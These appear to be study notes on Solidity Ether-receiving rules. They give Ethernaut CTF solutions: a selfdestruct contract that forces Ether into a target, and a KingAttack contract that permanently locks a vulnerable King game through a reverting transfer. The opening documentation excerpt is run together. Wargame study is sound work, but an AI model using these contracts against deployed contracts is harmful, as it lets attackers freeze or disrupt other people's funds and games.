receive function, declared using receive() external payable { ... } (without the function keyword)external visibility and payable state mutability. It can be virtual, can override and can have modifiers..send() or .transfer()).If no such function exists, but a payable fallback function exists, the fallback function will be called on a plain Ether transfer. If neither a receive Ether nor a payable fallback function is present, the contract cannot receive Ether through a transaction that does not represent a payable function call and throws an exception.
selfdestruct. Example. the destroy function will send any Ether in the ForceExt function to the target address. This is Ethernaut Force CTFcontract ForceExt {
receive() external payable {}
function destroy (address target) public {
selfdestruct(payable(target));
}
}
contract KingAttack{
// constructor can be payable
// constructor calls the king with 3 ETH and no function
// triggers its receivable and gets assigned as new King
// when someone wants to take back control by sending ETH, it reverts
// as KingAttack does not have any receieve or payable fallback
constructor(address payable _king ) payable{
(bool s, ) = _king.call{value: 3000000000000000}("");
require(s, "Failed");
}
}
// King contract
pragma solidity ^0.8.0;
contract King {
address king;
uint256 public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
// change the king if the amount sent is higher than prize
// OR if the sender is the contract owner
require(msg.value >= prize || msg.sender == owner);
// There is no way to stop execution of this code as you will never be the owner
// what you can do it to fail the following lines
// last 2 lines are assignment, cant fail
// what can be broken is payable(king).transfer(msg.value);
// we make king a contract instead of an EOA
// a contract cannot receive ETH if it does not have a receive () or payable fallback function
// so we create a contract with bare minimum constructor
// send it some ETH and in constructor use call to trigger King's receive function
// King's contract will make our attack contract the new King, once that is done
// the below transfer will always fail
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}